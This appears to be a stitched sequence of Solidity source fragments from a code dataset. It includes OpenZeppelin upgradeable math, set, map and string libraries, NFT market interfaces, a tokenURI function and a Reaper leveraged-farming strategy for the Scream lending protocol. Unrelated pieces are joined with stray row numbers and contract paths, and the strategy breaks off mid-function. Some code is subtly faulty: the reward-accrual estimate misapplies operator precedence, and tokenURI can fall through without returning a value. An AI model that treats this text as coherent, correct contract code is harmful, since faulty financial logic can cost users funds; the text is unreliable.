`SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMapUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev String operations. */ library StringsUpgradeable { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.7.0; /** * @notice Interface for AdminRole which wraps the default admin role from * OpenZeppelin's AccessControl for easy integration. */ interface IAdminRole { function isAdmin(address account) external view returns (bool); } // SPDX-License-Identifier: MIT OR Apache-2.0 // solhint-disable pragma solidity ^0.7.0; interface IFNDNFTMarket { function getFeeConfig() external view returns ( uint256 primaryF8nFeeBasisPoints, uint256 secondaryF8nFeeBasisPoints, uint256 secondaryCreatorFeeBasisPoints ); }
See {IERC721Metadata-tokenURI}./ If there is no base URI, return the token URI. If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; if (bytes(_baseURI).length == 0) { return _tokenURI; } if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } }
92,920
./full_match/62320/0xbe7C98bd159145a3eca0275f18C2b754e147bC42/sources/contracts/Reserve.sol
Returns the storage, major, minor, and patch version of the contract. return Storage version of the contract. return Major version of the contract. return Minor version of the contract. return Patch version of the contract./
function getVersionNumber() external pure returns ( uint256, uint256, uint256, uint256 ) { return (1, 2, 0, 0); }
3,225,264
// SPDX-License-Identifier: MIT import './abstract/ReaperBaseStrategy.sol'; import './interfaces/IUniswapRouter.sol'; import './interfaces/CErc20I.sol'; import './interfaces/IComptroller.sol'; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; pragma solidity 0.8.11; /** * @dev This strategy will deposit and leverage a token on Scream to maximize yield by farming Scream tokens */ contract ReaperAutoCompoundScreamLeverage is ReaperBaseStrategy { using SafeERC20Upgradeable for IERC20Upgradeable; /** * @dev Tokens Used: * {WFTM} - Required for liquidity routing when doing swaps. Also used to charge fees on yield. * {SCREAM} - The reward token for farming * {want} - The vault token the strategy is maximizing * {cWant} - The Scream version of the want token */ address public constant WFTM = 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83; address public constant SCREAM = 0xe0654C8e6fd4D733349ac7E09f6f23DA256bF475; address public want; CErc20I public cWant; /** * @dev Third Party Contracts: * {UNI_ROUTER} - the UNI_ROUTER for target DEX * {comptroller} - Scream contract to enter market and to claim Scream tokens */ address public constant UNI_ROUTER = 0xF491e7B69E4244ad4002BC14e878a34207E38c29; IComptroller public comptroller; /** * @dev Routes we take to swap tokens * {screamToWftmRoute} - Route we take to get from {SCREAM} into {WFTM}. * {wftmToWantRoute} - Route we take to get from {WFTM} into {want}. */ address[] public screamToWftmRoute; address[] public wftmToWantRoute; /** * @dev Scream variables * {markets} - Contains the Scream tokens to farm, used to enter markets and claim Scream * {MANTISSA} - The unit used by the Compound protocol * {LTV_SAFETY_ZONE} - We will only go up to 98% of max allowed LTV for {targetLTV} */ address[] public markets; uint256 public constant MANTISSA = 1e18; uint256 public constant LTV_SAFETY_ZONE = 0.98 ether; /** * @dev Strategy variables * {targetLTV} - The target loan to value for the strategy where 1 ether = 100% * {allowedLTVDrift} - How much the strategy can deviate from the target ltv where 0.01 ether = 1% * {balanceOfPool} - The total balance deposited into Scream (supplied - borrowed) * {borrowDepth} - The maximum amount of loops used to leverage and deleverage * {minWantToLeverage} - The minimum amount of want to leverage in a loop * {withdrawSlippageTolerance} - Maximum slippage authorized when withdrawing */ uint256 public targetLTV; uint256 public allowedLTVDrift; uint256 public balanceOfPool; uint256 public borrowDepth; uint256 public minWantToLeverage; uint256 public maxBorrowDepth; uint256 public minScreamToSell; uint256 public withdrawSlippageTolerance; /** * @dev Initializes the strategy. Sets parameters, saves routes, and gives allowances. * @notice see documentation for each variable above its respective declaration. */ function initialize( address _vault, address[] memory _feeRemitters, address[] memory _strategists, address _scWant ) public initializer { __ReaperBaseStrategy_init(_vault, _feeRemitters, _strategists); cWant = CErc20I(_scWant); markets = [_scWant]; comptroller = IComptroller(cWant.comptroller()); want = cWant.underlying(); wftmToWantRoute = [WFTM, want]; screamToWftmRoute = [SCREAM, WFTM]; targetLTV = 0.72 ether; allowedLTVDrift = 0.01 ether; balanceOfPool = 0; borrowDepth = 12; minWantToLeverage = 1000; maxBorrowDepth = 15; minScreamToSell = 1000; withdrawSlippageTolerance = 50; _giveAllowances(); comptroller.enterMarkets(markets); } /** * @dev Withdraws funds and sents them back to the vault. * It withdraws {want} from Scream * The available {want} minus fees is returned to the vault. */ function withdraw(uint256 _withdrawAmount) external doUpdateBalance { require(msg.sender == vault); uint256 _ltv = _calculateLTVAfterWithdraw(_withdrawAmount); if (_shouldLeverage(_ltv)) { // Strategy is underleveraged so can withdraw underlying directly _withdrawUnderlyingToVault(_withdrawAmount); _leverMax(); } else if (_shouldDeleverage(_ltv)) { _deleverage(_withdrawAmount); // Strategy has deleveraged to the point where it can withdraw underlying _withdrawUnderlyingToVault(_withdrawAmount); } else { // LTV is in the acceptable range so the underlying can be withdrawn directly _withdrawUnderlyingToVault(_withdrawAmount); } } /** * @dev Calculates the LTV using existing exchange rate, * depends on the cWant being updated to be accurate. * Does not update in order provide a view function for LTV. */ function calculateLTV() external view returns (uint256 ltv) { (, uint256 cWantBalance, uint256 borrowed, uint256 exchangeRate) = cWant.getAccountSnapshot(address(this)); uint256 supplied = (cWantBalance * exchangeRate) / MANTISSA; if (supplied == 0 || borrowed == 0) { return 0; } ltv = (MANTISSA * borrowed) / supplied; } /** * @dev Returns the approx amount of profit from harvesting. * Profit is denominated in WFTM, and takes fees into account. */ function estimateHarvest() external view override returns (uint256 profit, uint256 callFeeToUser) { uint256 rewards = predictScreamAccrued(); if (rewards == 0) { return (0, 0); } profit = IUniswapRouter(UNI_ROUTER).getAmountsOut(rewards, screamToWftmRoute)[1]; uint256 wftmFee = (profit * totalFee) / PERCENT_DIVISOR; callFeeToUser = (wftmFee * callFee) / PERCENT_DIVISOR; profit -= wftmFee; } /** * @dev Emergency function to deleverage in case regular deleveraging breaks */ function manualDeleverage(uint256 amount) external doUpdateBalance { _onlyStrategistOrOwner(); require(cWant.redeemUnderlying(amount) == 0); require(cWant.repayBorrow(amount) == 0); } /** * @dev Emergency function to deleverage in case regular deleveraging breaks */ function manualReleaseWant(uint256 amount) external doUpdateBalance { _onlyStrategistOrOwner(); require(cWant.redeemUnderlying(amount) == 0); } /** * @dev Sets a new LTV for leveraging. * Should be in units of 1e18 */ function setTargetLtv(uint256 _ltv) external { if (!hasRole(KEEPER, msg.sender)) { _onlyStrategistOrOwner(); } (, uint256 collateralFactorMantissa, ) = comptroller.markets(address(cWant)); require(collateralFactorMantissa > _ltv + allowedLTVDrift); require(_ltv <= collateralFactorMantissa * LTV_SAFETY_ZONE / MANTISSA); targetLTV = _ltv; } /** * @dev Sets a new allowed LTV drift * Should be in units of 1e18 */ function setAllowedLtvDrift(uint256 _drift) external { _onlyStrategistOrOwner(); (, uint256 collateralFactorMantissa, ) = comptroller.markets(address(cWant)); require(collateralFactorMantissa > targetLTV + _drift); allowedLTVDrift = _drift; } /** * @dev Sets a new borrow depth (how many loops for leveraging+deleveraging) */ function setBorrowDepth(uint8 _borrowDepth) external { _onlyStrategistOrOwner(); require(_borrowDepth <= maxBorrowDepth); borrowDepth = _borrowDepth; } /** * @dev Sets the minimum reward the will be sold (too little causes revert from Uniswap) */ function setMinScreamToSell(uint256 _minScreamToSell) external { _onlyStrategistOrOwner(); minScreamToSell = _minScreamToSell; } /** * @dev Sets the minimum want to leverage/deleverage (loop) for */ function setMinWantToLeverage(uint256 _minWantToLeverage) external { _onlyStrategistOrOwner(); minWantToLeverage = _minWantToLeverage; } /** * @dev Sets the maximum slippage authorized when withdrawing */ function setWithdrawSlippageTolerance(uint256 _withdrawSlippageTolerance) external { _onlyStrategistOrOwner(); withdrawSlippageTolerance = _withdrawSlippageTolerance; } /** * @dev Sets the swap path to go from {WFTM} to {want}. */ function setWftmToWantRoute(address[] calldata _newWftmToWantRoute) external { _onlyStrategistOrOwner(); require(_newWftmToWantRoute[0] == WFTM, "bad route"); require(_newWftmToWantRoute[_newWftmToWantRoute.length - 1] == want, "bad route"); delete wftmToWantRoute; wftmToWantRoute = _newWftmToWantRoute; } /** * @dev Function to retire the strategy. Claims all rewards and withdraws * all principal from external contracts, and sends everything back to * the vault. Can only be called by strategist or owner. * * Note: this is not an emergency withdraw function. For that, see panic(). */ function retireStrat() external doUpdateBalance { _onlyStrategistOrOwner(); _claimRewards(); _swapRewardsToWftm(); _swapToWant(); _deleverage(type(uint256).max); _withdrawUnderlyingToVault(balanceOfPool); } /** * @dev Pauses supplied. Withdraws all funds from Scream, leaving rewards behind. */ function panic() external doUpdateBalance { _onlyStrategistOrOwner(); _deleverage(type(uint256).max); pause(); } /** * @dev Unpauses the strat. */ function unpause() external { _onlyStrategistOrOwner(); _unpause(); _giveAllowances(); deposit(); } /** * @dev Pauses the strat. */ function pause() public { _onlyStrategistOrOwner(); _pause(); _removeAllowances(); } /** * @dev Function that puts the funds to work. * It gets called whenever someone supplied in the strategy's vault contract. * It supplies {want} Scream to farm {SCREAM} */ function deposit() public whenNotPaused doUpdateBalance { CErc20I(cWant).mint(balanceOfWant()); uint256 _ltv = _calculateLTV(); if (_shouldLeverage(_ltv)) { _leverMax(); } else if (_shouldDeleverage(_ltv)) { _deleverage(0); } } /** * @dev Calculates the total amount of {want} held by the strategy * which is the balance of want + the total amount supplied to Scream. */ function balanceOf() public view override returns (uint256) { return balanceOfWant() + balanceOfPool; } /** * @dev Calculates the balance of want held directly by the strategy */ function balanceOfWant() public view returns (uint256) { return IERC20Upgradeable(want).balanceOf(address(this)); } /** * @dev Returns the current position in Scream. Does not accrue interest * so might not be accurate, but the cWant is usually updated. */ function getCurrentPosition() public view returns (uint256 supplied, uint256 borrowed) { (, uint256 cWantBalance, uint256 borrowBalance, uint256 exchangeRate) = cWant.getAccountSnapshot(address(this)); borrowed = borrowBalance; supplied = (cWantBalance * exchangeRate) / MANTISSA; } /** * @dev This function makes a prediction on how much {SCREAM} is accrued. * It is not 100% accurate as it uses current balances in Compound to predict into the past. */ function predictScreamAccrued() public view returns (uint256) { // Has no previous harvest to calculate accrual if (lastHarvestTimestamp == 0) { return 0; } (uint256 supplied, uint256 borrowed) = getCurrentPosition(); if (supplied == 0) { return 0; // should be impossible to have 0 balance and positive comp accrued } uint256 distributionPerBlock = comptroller.compSpeeds(address(cWant)); uint256 totalBorrow = cWant.totalBorrows(); // total supply needs to be exchanged to underlying using exchange rate uint256 totalSupplyCtoken = cWant.totalSupply(); uint256 totalSupply = totalSupplyCtoken * cWant.exchangeRateStored() / MANTISSA; uint256 blockShareSupply = 0; if (totalSupply > 0) { blockShareSupply = supplied * distributionPerBlock / totalSupply; } uint256 blockShareBorrow = 0; if (totalBorrow > 0) { blockShareBorrow = borrowed * distributionPerBlock / totalBorrow; } // How much we expect to earn per block uint256 blockShare = blockShareSupply + blockShareBorrow; uint256 secondsPerBlock = 1; // Average FTM block speed uint256 blocksSinceLast = block.timestamp - lastHarvestTimestamp / secondsPerBlock; return blocksSinceLast * blockShare; } /** * @dev Updates the balance. This is the state changing version so it sets * balanceOfPool to the latest value. */ function updateBalance() public { uint256 supplyBalance = CErc20I(cWant).balanceOfUnderlying(address(this)); uint256 borrowBalance = CErc20I(cWant).borrowBalanceCurrent(address(this)); balanceOfPool = supplyBalance - borrowBalance; } /** * @dev Levers the strategy up to the targetLTV */ function _leverMax() internal { uint256 supplied = cWant.balanceOfUnderlying(address(this)); uint256 borrowed = cWant.borrowBalanceStored(address(this)); uint256 realSupply = supplied - borrowed; uint256 newBorrow = _getMaxBorrowFromSupplied(realSupply, targetLTV); uint256 totalAmountToBorrow = newBorrow - borrowed; for (uint8 i = 0; i < borrowDepth && totalAmountToBorrow > minWantToLeverage; i++) { totalAmountToBorrow = totalAmountToBorrow - _leverUpStep(totalAmountToBorrow); } } /** * @dev Does one step of leveraging */ function _leverUpStep(uint256 _withdrawAmount) internal returns (uint256) { if (_withdrawAmount == 0) { return 0; } uint256 supplied = cWant.balanceOfUnderlying(address(this)); uint256 borrowed = cWant.borrowBalanceStored(address(this)); (, uint256 collateralFactorMantissa, ) = 